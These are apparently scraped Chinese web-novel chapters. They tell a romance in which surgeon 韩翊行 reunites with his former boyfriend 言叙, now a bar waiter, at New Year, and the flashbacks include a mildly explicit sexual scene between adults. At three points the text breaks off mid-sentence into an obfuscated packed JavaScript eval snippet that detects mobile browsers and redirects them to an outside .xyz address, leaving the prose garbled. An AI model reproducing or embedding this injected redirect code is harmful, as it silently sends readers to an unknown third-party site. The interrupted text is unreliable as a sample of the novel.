韩翊行当时研究的课题是“癌细胞自体反噬”,沈暮听不懂,韩翊行讲得通俗易懂。 “就是从你身体里取出一些癌细胞,经过实验室改造,改变其细胞核结构,保持其增殖性,再把经过改造的癌细胞植回体内,这些改造过的细胞就会吞噬癌细胞并快速增殖,就好比你策反了一群坏人中的几个,让这几个人帮你把其余同伙全部杀掉。” 韩翊行还说,这项技术是史无前例的,目前仅在动物身上试验成功,你愿意帮我把它推进到下一步吗? 这项研究是有专项资金的,沈暮不用担心治疗费用,韩翊行对他的唯一要求就是配合医生治疗,并且在未来五年内让韩翊行跟踪治疗效果。 临床上,癌症如果五年内没有复发,便算是治愈了。 沈暮捡了一些重点跟言叙说了,言叙听得心情很沉重。 “你说,我哥哥还会原谅我吗?”沈暮问言叙。 原谅......他无法想象小树知道真相时会是内疚还是后怕,但他觉得,小树可能永远也无法原谅。 即便最后还能走到一起,那小树以后可能每一秒都会活得风声鹤唳,战战兢兢。 担心不知何时沈暮再遇到什么事,又会把自己抛下。 所以,遇到问题的时候,是应该独自一人承担不拖累爱人,还是把所爱的人也拉进那个痛苦的漩涡? 命运无常,造化弄人。 “会的。”言叙声音很轻,却有几分坚定。 沈暮闻言,开心地笑了笑。 两人点的菜都没吃多少。 分别前,沈暮说:“以后还能一起出来吃饭吗?” 言叙说:“你身体状况好的时候给我发微信,随时都可以。” 回去的时候,言叙看到街边好多店铺都挂红灯笼,中国结,红红火火的。 言叙恍然意识到,居然快要过年了。 躺在床上正准备睡觉,手机有微信提示,他打开一看,是那个“宁城三院”微信号。 宁城三院:【亲爱的患者,预祝您新春快乐!我院为您准备了精美的新春贺礼,回复收件地址可领取。——来自群发助手】 言叙把这个账号设成免打扰,睡了过去。 20. 第20章 临近年关,肛肠科病房里的病人越来越少。 住院的赶在春节前出院回家过年,不太严重的,也不会选择这个时候住进来。 韩翊行大年三十休息,睡到了下午。 奥利奥在他床边趴着,韩翊行伸手摸了摸它的头,猫咪在他手心里蹭蹭。 韩翊行得寸进尺把奥利奥抱到身上来,奥利奥就开始挣扎,从他身上跳下来,连床上也不待了,直接钻床底下去了。 张博打电话过来:“老韩,你还没醒呢?” 韩翊行说:“醒了。” “醒了怎么不回微信啊?”张博抱怨,“你赶紧看看,13床患者的检查报告符不符合出院指标?” “我看下。” 挂了电话,韩翊行打开微信,没有收到任何消息。 切换成主微信号,有好几条未读消息。 他先找到张博,看了看张博给他发的检查报告单,打字回复:“让他出院过年吧,过完年还得回来继续住院。” 翻了翻其他未读,分别回复了。最后一条是他发小发来的。 齐景:【行哥,今天上班吗?晚上一起跨年?】 齐景是韩翊行小时候在外公外婆家住的时候认识的邻居。 外公经商,住的是别墅,周围也是富人区。 齐景小时候就被惯得无法无天,被称为齐天大圣,就没个怕的人。 唯独怕韩翊行。只要韩翊行说“再闹就不带你玩了”,齐景秒变顺毛驴。 后来韩翊行上学了,没时间管着他,他就长成了个不学无术的富二代。 在北城嫌被父母管着烦,跑到宁城来投资了个什么项目,韩翊行不太了解。 韩翊行不太想跟他一起跨年,不知道又会搞什么纨绔子弟的鬼把戏,韩翊行不喜欢那些。 H.Y.X:【不去,上班呢。】 齐景立马回复了:【我看到你家门口点的外卖了!给我开门!】 韩翊行:...... 韩翊行不情不愿地给齐景开了个门,顺便把刚才点的外卖拿进来。 韩翊行:“你什么时候来的?” 齐景气呼呼坐沙发上:“我不告诉你!” 韩翊行懒得搭理他,自顾自打开外卖。 齐景自己去饮水机接水,只接了半杯,喊道:“行哥!没水了!渴死我了。” 韩翊行打电话找人送水,“等会儿吧,一会儿送过来了。” 齐景凑到韩翊行桌边坐下,神秘兮兮地说:“行哥,我最近看上一人,你能不能帮帮我。” “什么人?” 齐景来劲了:“哇,又高又帅,皮肤那叫一个白,腿长,腰细,人间尤物。” “找我干吗?”韩翊行冷淡问。 齐景说:“帮我把把关,给我出出招,人家不搭理我,我到现在微信还没要着呢,愁死了。” “我能干什么?”韩翊行觉得自己帮不了齐景,他自己这边也要不到微信呢。 “不是有一句话嘛,物以类聚,人以群分,”齐景开始拍马屁,“你看看你,这形象,这气质,我能跟你这样的人混在一起,逼格都提高不少。” 韩翊行嗤笑,这脑回路够清奇的。 “行哥,帮帮我吧,这个我真的特别喜欢,要不然也不会求到你这里了。” “行吧。”韩翊行被他缠的没办法,被迫答应下来。 门铃被按响,韩翊行去开门,是送水的,跟上次送水的不是同一个人,这个个子很高,看起来面相有点凶。 拿完空桶,送水小哥离开,齐景盯着门口看,不知道在想什么。 韩翊行问:“你说的那个人,不会就是这个吧?” “不是,”齐景摆手,“我怎么感觉这个人我好像在哪里见过呢?” 想半天没想起来,齐景也懒得再费脑子。 又开始跟韩翊行说,他这次看上的这个人长得有多么好看,声音有多好听,他有多么魂牵梦萦。 韩翊行冷哼一声,心想,还能比言叙好看? “你打算怎么办?”韩翊行问。 齐景凑过来,笑得贱兮兮的:“我打算今晚陪他一起跨年,在午夜12点钟声敲响的时候,跟他说一句‘新年快乐’!浪漫吧?” 韩翊行嘁了一声,“幼稚。” 晚上十点,酒吧街灯火通明,人声鼎沸。 齐景带韩翊行来到一家看起来有些文艺范儿的酒吧。 灯光昏暗暧昧,人语嘈杂。 韩翊行平时很少来这种地方,无非就是灯红酒绿,推杯换盏,有什么意思。 “你经常来这儿?”韩翊行问。 齐景凑到韩翊行耳边说:“最近天天来,追人嘛,不见面怎么追得上。” 韩翊行四周看了看,“是哪一个?” 齐景站起来,在人群中找了找,“好像还没来,他最近来得晚。” 有服务员拿着酒水单过来:“两位先生,请问点什么?” 韩翊行一抬头,看到个高个子面相有点凶的年轻人,居然是下午给他送水的那个。 齐景一拍大腿:“卧槽,我就说怎么看着你面熟。” 服务员努力提了提唇角,不笑的时候挺酷,笑起来太勉强,他还是保持面瘫比较顺眼。 齐景问:“哎这位小哥,你们这里那个长得特别好看的服务员来了吗?” 这个小哥说:“不知道。” 齐景又问:“那你知道他叫什么吗?” 小哥依然说:“不知道。” 得,一问三不知。 齐景说:“你先去忙吧,我们现在先不点单。” 那个小哥走了。 韩翊行觉得无聊,还不如看手机。 齐景还在四处张望寻觅佳人倩影。 不一会儿,就见他跳起来招手:“这里!” 韩翊行眼角余光看到有个穿着和刚才那个小哥同款工作服的服务员走了过来,温声问:“请问有什么需要的?” 听到这声音,韩翊行霍然站起身,手里的手机“啪”地掉到了地上。 对面站的那人,皮肤很白,在灯光照射下,有一种冷感。腿很长,拿着菜单的手指也修长骨感。 瘦了,下巴都尖了。 乌发柔软,墨色瞳仁略显戒备,像一只警惕的小猫咪。 齐景被这声音惊得回头,就看他行哥像根木头桩子一样杵在原地,目光直勾勾盯着服务员,一眨都不带眨的。 两人显然处于某种同频的震惊中。 “行哥,你手机掉了。”齐景好心提醒,揽了揽他的肩膀。 服务员脸色变了变。 韩翊行把齐景的手拂开,弯腰捡起手机,目光仍是落在服务员身上。 齐景看看韩翊行,看看服务员,好奇问:“你们,认识?” 言叙:“不认识。” 韩翊行:“前男友。” 两人同时脱口而出。 “啊?????” 这下轮到齐景目瞪口呆了,比刚才韩翊行和言叙两个加起来还呆。 言叙有些烦躁,没好声气地问:“点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305489|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 齐景兀自震惊,没骨头一样瘫靠在韩翊行身上。 韩翊行清了清嗓子,对着言叙伸出手:“菜单给我看一下。” 言叙把酒水单塞他手里。 韩翊行:“杨枝甘露。” 言叙:“没有。” 韩翊行:“蜜桃乌龙。” 言叙:“没有。” 韩翊行:“多肉葡萄。” 言叙:“没有。” 韩翊行侧头看言叙一眼:“你们这怎么什么都没有呢?” 言叙吁了一口气,没什么耐心地说:“这里是酒吧,喝果饮建议去蜜雪冰城。” 后来主管催促言叙,他在这里耗的时间太长了,别的桌客人都等着呢。 韩翊行不想让他为难,随便点了两杯莫吉托,让他走了。 齐景跟霜打了似的,委屈巴巴地看着韩翊行:“行哥,你前男友,我能追吗?” 韩翊行冷冷反问:“你觉得呢?” 齐景试探地说:“那我猜......能?” “再猜。”韩翊行冷冷说。 齐景苦着脸,蔫了吧唧的,跟刚才来的时候那劲头十足的样子截然相反。 他宁愿自己表白被拒,甚至宁愿言叙被别人追走了,他也不想他行哥是言叙前男友啊! 这样的话,他连出手的机会都没有了! 暗恋被他行哥掐死在摇篮里了啊! 过了好半天,齐景终于缓过来一点,不甘心地问: “行哥,前嫂子这么好,你们当初为什么会分手?” 为什么?分手? 韩翊行陷入了深思。 当年言叙一声不吭地走了,七年之中音尘断绝,但言叙并没有跟他提过分手。 他自己当然更是不会说分手。 即便想说连面都见不到,跟谁说去。 思维陡然转了一个弯。 他可不可以这么理解:他们没分手。 韩翊行自以为这逻辑简直天衣无缝。 “没分。”韩翊行对齐景说。 “没分?”齐景目瞪口呆,“没分为什么说是前男友?没分他为什么说不认识你?” “我说错了,”韩翊行悠悠道,“他可能只是生气了不想理我,你懂的。” 冷战了七年而已,算什么分手? 齐景真是服了! “咱们走吧,我不想待在这个伤心地。”齐景站起身。 韩翊行岿然不动,“我不走,你走吧。” 齐景心说,当初也不知道是谁求半天都不来,现在又赖在这里不走! 他行哥不走,他也没法走,只得闷闷地喝酒,解一解还没开始就已经失恋的情愁。 酒吧里人声嘈杂,从房顶挂下来的电视屏幕上播放着春节联欢晚会,但没有人在看。 言叙忙碌的身影不时从韩翊行身边经过,却没分给他一个眼神。 时钟指针越来越接近12,春晚上的主持人开始站成一排,说一些辞旧迎新的吉祥话。 酒吧里的喧嚣也突然静了下来,所有人都站起身,眼睛看向电视屏幕。 所有人都跟着春晚主持人齐声念倒计时。 10 9 8 ...... 3 2 1 秒针在数字12处与分针和时针重合。 新年钟声响起。 在人头攒动的欢呼声中,韩翊行偏头在言叙的耳边说了句:“言叙,新年快乐。” 21. 第21章 齐景又让加了几次酒,言叙都是例行公事地完成点单,对韩翊行灼热的目光视而不见。 “行哥,你刚才跟他说什么了啊?”齐景喝得满脸通红,说话都有点大舌头。 韩翊行冷淡地瞥他一眼,“我要跟你汇报?” 齐景今天最后悔的事就是叫韩翊行来给他助攻。 他心里郁闷的程度,不亚于自己看上的相亲对象看上陪自己来相亲的哥们儿了。 过了十二点,酒吧里的客人陆陆续续离场。 齐景喝了不少,躺在卡座上睡着了。 一桌桌杯盘狼藉,服务员一阵忙碌。 其中一个服务生不小心打碎了一个杯子,一个穿花衬衫抹了满头发胶的男人走过去,“宝贝儿,你小心点!这周都摔仨了!” 韩翊行听着这语气莫名熟悉。 那个服务生满是歉意:“对不起浪哥,我一定会非常小心的。” 浪哥? 原来言叙住院时给他打电话叫他“宝贝儿”的,只是酒吧的主管而已。 韩翊行唇角勾了勾。 凌晨6点多,卡座上横七竖八躺了一大片,还有不少趴桌上睡的。 韩翊行悠然地靠在卡座上,翘着二郎腿,手里端着高脚杯,不时抿一小口。 言叙走过来,身上还穿着服务生的衣服,没什么感情色彩地说:“我们快要打烊了。” “哦好,”韩翊行站起身,将自己的长款大衣挂在手臂上,“那走吧。” 言叙瞟了眼在卡座上睡得人事不知的齐景:“你现男友怎么办?” “现男友?”韩翊行饶有兴味地看向言叙,想起几个小时前齐景问他们是否认识,自己脱口而出的是“前男友”。 韩翊行笑出声。 “你说他?”韩翊行居高临下指着齐景,“我不认识他,你们该怎么处理就怎么处理吧。” 言叙看了他一眼,似乎有隐忍的情绪。 通知到位了,言叙懒得理他,又去其他桌叫醒客人。 说是这么说,但韩翊行总不能真的不管齐景。 他叫了个车,齐景醉得跟一瘫烂泥似的,韩翊行不得不架着他把他扶上车。 然后再返回酒吧。 言叙看到他去而复返,有一瞬间的诧异,随即恢复冷淡。 他开始收拾杯盏,擦桌子。 韩翊行坐的那桌隔壁有一男一女,男的染了黄头发,女孩烫了大波浪,应该是一对小情侣。 你喂我一口,我喂你一口,一直在旁若无人地亲亲摸摸。 韩翊行啧啧两声,真想把言叙的眼睛捂起来。 其他桌客人陆陆续续走了,这俩还在这你侬我侬。 到最后,就剩韩翊行这桌和情侣那桌了。 突然门被推开,一阵冷风灌了进来,韩翊行朝门口看去。 一个年轻的女生气势汹汹走了进来,一头长发又黑又直。 门口的服务生说:“不好意思女士,我们这里马上要打烊了。” 女生说:“我找人。” 话音未落,情侣那桌的那个男的站了起来,表情像是见了鬼。 黑长直女生走上前,一个字没说,抬起手干脆利落地给那男的甩了一巴掌。 卷发女生站起来:“你有病吧,我男朋友招你惹你了?” 黑长直女生把微信聊天记录怼在卷发女生面前。 “这么巧,他也是我男朋友,不过,刚刚已经变成前男友了。” 卷发女生一眼看出微信里跟那个女生浓情蜜意的正是他男朋友的微信,一怒之下,一巴掌甩在他的另一侧脸上。 现在男生脸上形成了完美的轴对称图形。 两个女生理智冷静,站成一排,面向男的。 “说说吧,这到底是怎么回事?”两人女生异口同声,还奇妙地交换了一个眼神。 男生哭丧着脸:“我是真的喜欢你们两个人,我控制不住啊!” 卷发女生拿起一杯酒泼他脸上。 男的有些气恼,“你他妈有病吧,我这衬衫两千多!” 黑发女生嗤笑一声,像是听到了什么笑话,端起酒杯也朝那男的脸上泼过去。 男的终于忍无可忍,端起服务生放在一旁用来涮抹布的一盆脏水,朝那两个女生泼过去。 卷发女生拉了黑发女生一把,两人卧倒在不远处的卡座上,躲过一劫。 眼看站在后面不远处的言叙就要遭殃。 韩翊行眼明手快,一个箭步冲上前,背过身挡在言叙身前。 他身形高大,肩宽背阔,把言叙笼罩得严严实实的。 场面一度非常混乱。 那男的见惹了祸想要跑,被喻晨薅住脖领、脸摁在桌子上,不住挣扎。 韩翊行的白衬衫都变成了黑色,湿哒哒地贴在身上,还在往下滴水。 言叙惊魂未定,从韩翊行胸前抬起头看向他的脸:“你没事吧?” 韩翊行嗓音低沉:“没事,不用担心。” 他觉得自己身上太脏了,怕把言叙也弄脏了,于是放开言叙,跟他分开一些距离。 浪哥小跑过来,满是歉意地说:“实在对不起了这位先生,您看下需要报警处理吗?” 韩翊行说:“你看着处理吧,现在需要让言叙跟我去换衣服。” 浪哥心上一轻,对言叙说:“言叙,你直接下班吧,快去带这位先生换衣服,天冷,别感冒了。” “知道了浪哥。” 酒吧有更衣室,但没有沐浴间,韩翊行也没有带备用衣服。 有些棘手。 言叙问:“你家住哪儿?我打车送你回家?” 韩翊行说:“我住得太远了,两个小时都到不了,你住这附近吗?” 酒吧离三院不算远,开车十分钟就能到。 韩翊行住得离医院那么远,也不知道每天是怎么上下班的。 言叙确实住这附近,为了上班方便才租的阁楼,步行十分钟就能到。 问题是,现在寒冬腊月,韩翊行浑身湿淋淋的,在外面走十分钟肯定会感冒的。 而且......真的要带韩翊行去他住的地方吗? 正纠结着,韩翊行把车钥匙丢给他:“你开我车,我喝酒了。” 言叙迅速换好衣服,拿上韩翊行放卡座上的大衣。 韩翊行现在满身是脏水,这大衣一看就价格不菲,直接穿上会弄脏。 要是不穿个外套,从酒吧到停车场还有一段路,韩翊行也会被冻感冒的。 最终,在言叙的坚持下,他把自己的破旧羽绒服穿韩翊行身上,自己则穿上他的大衣。 他的羽绒服便宜,而且都穿好几年了,脏了直接扔洗衣机里。 言叙脚下走得飞快,韩翊行侧头看着他,脸上带着明显的笑意。 “你穿这件衣服挺好看的,就是袖子有点长。” 言叙目不斜视,摁了下车钥匙上的开锁键,有一辆车的车灯亮了亮,言叙快步走过去。 “裤子湿了吗?”言叙问。 如果裤子湿了直接坐车里,会把座椅也弄脏,到时候还得洗车很麻烦。 韩翊行低头看了看,“我现在感觉不出来,要不你帮我摸一下看看有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305490|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有湿。” 言叙无语透顶,看到旁边有个收废品的老太太,走过去花两块钱买了她一个大纸箱。 他把大纸箱铺到副驾驶座上,既能坐又能靠。 韩翊行坐了上去。 言叙启动车子,开向一条小街。 韩翊行倒是没再说话,专心看着窗外记路牌。 言叙租的地方是一个老旧小区的12层顶层阁楼,尖顶的位置也才不到两米,整个空间显得逼仄压抑。 韩翊行进来直皱眉,他一米八八的大个子,进门都得弯着腰,也就在尖顶下面才能勉强站直身子。 在这个狭小空间里闪转腾挪,还不小心磕到了头。 “你就住这儿?”韩翊行问。 言叙没好气地说:“住这儿怎么了?” 韩翊行摇摇头,“连个上吊的地方都没有。” “你——” 言叙看着很生气,好像下一秒就要把韩翊行赶走。 韩翊行赶紧找补:“反正我也不是来上吊的。浴室在哪儿?” 言叙用手指了一个方向。 韩翊行边走边问:“我可以用你的浴巾吗?” 言叙烦躁:“用吧用吧。” 浴室传来哗哗水声,言叙下楼给他买内裤。 回来的时候,韩翊行裹着浴巾坐在桌边,正在玩他的小机器人。 这个小机器人和韩翊行家里那个看起来毫无二致。 但这个有遥控器,可以做出踢腿打拳等动作,生猛得很。 听到言叙走过来,韩翊行问:“你要参加那个比赛?” 言叙“嗯”了一声,把手里拎的袋子扔给韩翊行。 韩翊行打开袋子看了看,里边除了有一条新内裤,一双新袜子,还有一个新牙刷和新的刷牙杯。 “谢了。”他拎着东西回到浴室里。 言叙呼了口气,斜靠在浴室门口的墙上,“先穿我的衣服行不行?这附近没有卖衣服的。” 韩翊行应该是正在刷牙,声音含混地回了句:“行。” 言叙从衣柜里找了两件自己穿着宽松的衣服,敲了敲门。 门打开一条缝,言叙头撇向一侧,只把拿着衣服的手伸进去。 手背蓦地被一阵温热拂过,言叙的手瑟缩了下,衣服被里面的人接了过去。 不知道那人是不是故意的。 不多时,韩翊行从浴室出来,除了袖子短一截,裤腿短一截,倒也还说得过去。 头发湿漉漉的,还没有吹,整个人带着一股潮气。 “你羽绒服装一下,我拿去干洗。”韩翊行说。 “不用。”言叙瞥他一眼,目光移回手机上。 “浪哥说那人给你赔了两千块钱,让我转交给你。” 韩翊行原本想说你留着吧,心念一动,说道:“转我微信上就行。” 言叙刚要说“把收款码给我一下”,只见韩翊行走到门口换鞋。 “我上班要迟到了。”说完便出了门。 言叙呼了几口气,他想到一个办法。 他可以把浪哥转给他的钱提到银行卡,然后再通过支付宝转给韩翊行。 这样就不用添加好友了。 他在支付宝里搜韩翊行的手机号,果然搜到了他的账号。 然后,言叙去微信把余额提现到银行卡,再打开支付宝,全程用了不到半分钟。 可是,他再次打开支付宝搜索韩翊行手机号时,却收到一个提示: 你搜索的账号不存在。 言叙气得捶床。 白浪费他两块钱提现手续费! 22. 第22章 言叙在考虑,要不要把钱取现,这样一来,他还得给韩翊行过去送一趟。 而且考虑到是金钱相关,他必须把钱送到他手里让他当面点清,不能假手他人。 还得再见一次面,又不知道会生出什么事端。 言叙想不到其他又安全又滴水不漏的办法了。只能认命地打开微信,搜索韩翊行手机号,添加好友。 好友申请刚发过去,还不到三秒就通过了。 言叙把钱转过去,就去洗澡了。 洗完澡出来,韩翊行还没收。 言:【怎么不收?】 还以为他在忙,没想到秒回。 H.Y.X:【这么着急删好友?】 言叙不知道怎么回,无意中看向桌子上的小机器人。 脖子上似乎勒着个什么东西。 言叙走过去,发现勒着机器人脖子的,居然是韩翊行的车钥匙! 他明明记得锁车之后就把钥匙放韩翊行大衣口袋里了。 这人是打定主意要以拿钥匙为由再回来一趟。 言叙烦得要死。 早知道这样,他还不如把那两千块钱取了现金,等他过来的时候直接塞给他呢! 一大早上,言叙接二连三地懊恼。 平静的生活被那人搅得乱七八糟。 言叙把车钥匙拿在手里,之前没仔细看,现在才发现,挂件上的胡桃色小木牌居然刻了字。 正面是:一言一行 背面是:一心一意 言叙的心蓦地被攥了一下。 - 和韩翊行在一起后,他每年给言叙过三次生日。 阴历生日过一次,阳历生日过一次,身份证上的生日也要过一次。 因为言叙看到蛋糕就走不动道。 从夏至到冬至。 从韩翊行的生日,到言叙的生日。 言叙升入大二,课业繁忙起来。 韩翊行研二,开始规培,大部分时间不在学校。 北城一院离他们学校不算近,而且下班时间很晚。 韩翊行不得不住医院那边的宿舍。 两个人在同一个城市谈起了异地恋。 为了给言叙过今年的第一个生日,韩翊行提前安排好休息,在生日前一天晚上赶了回来。 言叙在校门口的公交站接他,挤挤挨挨的人群中一眼就看到了他。 发自内心地欢喜。 言叙跳起来朝他招手:“学长!” 韩翊行笑着跑过来,盯着他嫣红的唇瓣看了几秒。 “想我没?”韩翊行压低声音问。 “没有。”言叙摇头晃脑的。 “真没有?” 言叙朝他吐舌头“略略略”,“没有没有没有——” 韩翊行的手要去抓他的侧腰,言叙反应敏捷得跟个小猴子似的,跑走了。 韩翊行就在后面追,笑闹声洒了满路。 月上中天,两人不知不觉跑到了没有路灯的小树林。 韩翊行找个块石头坐下,喘着气,笑眼斜觑着言叙。 言叙挤了挤他,在韩翊行旁边坐下,两手抱着韩翊行的胳膊,脸贴在他大臂外侧。 韩翊行偏头去看他,光线昏暗,但依旧能看出言叙侧脸肌肤白皙有光泽,鼻梁挺翘,唇珠看起来很软。 “言小叙。”韩翊行哑声叫他。 “嗯?”言叙转头过去看他。 韩翊行衔住那唇珠碾磨。 啧啧水声充盈在耳边,空气不断升温。 韩翊行掐起言叙腰把他抱到自己腿上,面对面坐着,手掌托着他的后颈,让他承受自己情难自禁的深吻。 不知过了多久,韩翊行清晰地感觉到言叙的异常。 第一次去酒店开房,言叙觉得羞耻,一直躲在韩翊行身后。 身体的反应令他更觉羞耻。 韩翊行的手掌宽厚粗糙,言叙只感觉自己从头顶到脚心都是麻的。 “学长......”言叙的声音颤得支离破碎。 10秒钟后,韩翊行笑着擦手。 言叙用枕头把自己的头捂住,恨不得找个缝钻进去。 韩翊行在一旁轻柔地哄:“宝宝,一会儿该缺氧了。” 枕头底下传来言叙闷闷的声音:“我不活了......” 韩翊行憋笑,“没关系的宝宝,好多人第一次都很短。” “那你呢?”言叙露出一双黑亮的眼睛,盯着韩翊行的脸。 韩翊行说:“不知道,没试过。” 言叙再一次把脸埋起来,“哼,不理你了。” 韩翊行无奈道:“那要怎么样你才肯理我?” 言叙把枕头扔开,腾地坐起来,双手叉着腰,凶神恶煞般盯着韩翊行的眼睛:“除非你比我,还!要!短!!!” 韩翊行:...... 言叙发脾气,没什么是一块蛋糕哄不好的,如果有,那就买两块。 校门口有一家蛋糕店,言叙很喜欢他家的蛋糕,韩翊行之前加了老板的微信。 不多时,房门被敲响,韩翊行拿着包装精致的蛋糕走过来。 言叙眼睛都直了。 时间刚过午夜12点,韩翊行插了1和9两根蜡烛,点燃,然后关灯。 “宝宝,生日快乐!” 幽幽烛火映照着言叙清纯稚气的侧脸,韩翊行的眼睛微微眯了眯。 “许愿吧。”他哑声说。 言叙双手交握抵着下巴,轻轻闭上眼睛,内心虔诚许愿:希望韩翊行第一次只有5秒! 然而,事与愿违。 他的大腿内侧被磨得快要破皮了! 折腾到很晚,言叙被累得一秒入睡。 韩翊行亲了亲他的额角,把他搂紧。 第二在醒的时候都下午了,俩人穿好衣服打算外出觅食,韩翊行把吃完蛋糕的盒子彩带什么的装起来。 从底部飘出来一张卡片。 “这是什么?”言叙弯腰捡起来,发现那张比成人手掌稍大的卡片居然是一张刮刮乐。 蛋糕店老板真是营销鬼才。 现在流行婚礼的时候不送红包送彩票,低成本,高期望值。 收到100块钱的红包和中100块钱的彩票,后者能带来的愉悦值明显高出几倍。 因为中奖的人会觉得自己是被眷顾的气运之子。 言叙当然不例外。 当他看到自己刮出了中奖数字并且下方写了¥100的时候,他激动得一跳三尺高,手臂环住韩翊行的脖子,在他脸上啄啄啄。 顾不上找饭吃,言叙拉着韩翊行的手先去的彩票店。 店老板确认无误后,从柜台拿了张崭新的百元大钞递给言叙。 言叙眼中迸发出光芒,然后把钱往玻璃柜台一拍。 “老板,这款刮刮乐再拿10张!” 中奖的那款刮刮乐面值10元,再拿10张,正好把刚中的100元花完了。 反正也不是花自己的钱。 言叙把10张刮刮乐一张一张刮开,刚才升至云端的好心情,也一下子落到了谷底。 从彩票店出来的时候,言叙整个人都丧丧的。 韩翊行安慰道:“好了,就当没捡到那张彩票就行了,反正你也没什么损失。” 确实是这个理,而且跟韩翊行在一起的时间很宝贵,言叙调整好了心情,和韩翊行去吃饭了。 在公交站送韩翊行走的时候,言叙的心情低落到了谷底。 相见只是为了分别而已。 那之前的欢喜雀跃到底算什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305491|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等公交车的时候,言叙闷闷的,不怎么说话,也不敢去牵韩翊行的手。 公交车马上进站。 旁边一对情侣难舍难分地亲吻。 言叙垂着眼,强颜欢笑:“学长路上小心。” 忽然,韩翊行偏过头,亲了下言叙的嘴唇。 “乖乖等我回来。”韩翊行揉了揉他的头发,然后上了公交车。 等待总是让人煎熬。 等韩翊行回来的时间里,言叙吃不好睡不好。 10年后也没多少长进。 韩翊行故意把钥匙落在他这里,大概率下班后是要来取的。 要不然他回家的两个小时路程怎么办。 言叙睡得不安稳,中途醒了好几次。 睡梦中总感觉有人敲门,醒过来才发现只是做梦。 到下午4点多,实在睡不着了,越睡越头疼。 干脆穿好衣服,洗漱完毕,下楼去了。 大年初一,韩翊行医院那边也没什么事,病人少,非紧急情况也没人会把手术安排在大年初一,兆头不好。 行政组织了包饺子,这也算是三院的惯例了。 往年,韩翊行没有参加过,他不想包,也不想吃。 今年却有些反常。 张博在揉面,看见韩翊行过来,笑着问他:“今年冬天流行9分裤?” 韩翊行淡淡瞥他一眼,不经意道:“言叙的。” “卧槽!”张博四下环顾一圈,压低声音,跟地下接头似的,“你们俩,已经和好了?” “没有,”韩翊行说,“我不小心弄湿衣服,去他家洗了个澡而已。” 张博:“......” 张博一阵无语,韩翊行问:“什么馅?” 张博说:“芹菜肉。” “就一种馅?” “嗯,咱们科没几个人,”张博突然想起来什么,“我记得你吃芹菜呀。” 韩翊行淡声说:“言叙不吃。” 张博摇头晃脑怪声怪调地学他:“言叙不吃——” 韩翊行去后厨寻摸一圈,拿了些香菇出来。 “肉馅给我留点。”韩翊行说。 张博看着韩翊行系着围裙切香菇的样子,说道,“老韩,你这样子还真有几分宜室宜家。” 韩翊行轻声笑了下,没说话。 馅是韩翊行找人拌的,他自己怕掌握不好用量。 皮是张博擀的,饺子却是韩翊行自己亲手包的。 包好后又去后厨自己煮了,装进餐盒。 凭着记忆来到言叙房门口,韩翊行照着手机前置摄像头整了整头发。 他敲门的声音很轻,怕言叙还在睡觉,那样他就再等会儿。 很快,他便听到屋里传来了趿着鞋走路的声音。 门被拉开一道小缝,一只纤细白皙好看的手伸出来,指尖上挂着他那把车钥匙。 被拒之门外的意味太明显,韩翊行也不恼。 “吃饭了吗?我带了饺子。”韩翊行低沉好听的声音响起,带着无限的温柔和纵容。 门后的言叙怔了怔,也就是在这个空隙里,韩翊行推开门挤了进来。 看见言叙穿戴整齐地立在门后,脚上穿着他这里唯一的一双拖鞋。 韩翊行把手里拎的饭盒冲他晃了晃:“趁热吃,一会儿凉了。” 言叙站在一旁没动,不知道在想什么。 “我也没吃呢,”韩翊行笑了笑,说,“特意过来陪你过年。” 言叙咬着嘴唇,往后退了半步,那意思再明显不过,让韩翊行进来。 韩翊行走进来把饭盒放小桌子上,回身去挂自己的大衣。 他惊奇地发现,门口简易的小鞋架上,放着一双崭新的拖鞋。 正好是他的尺码。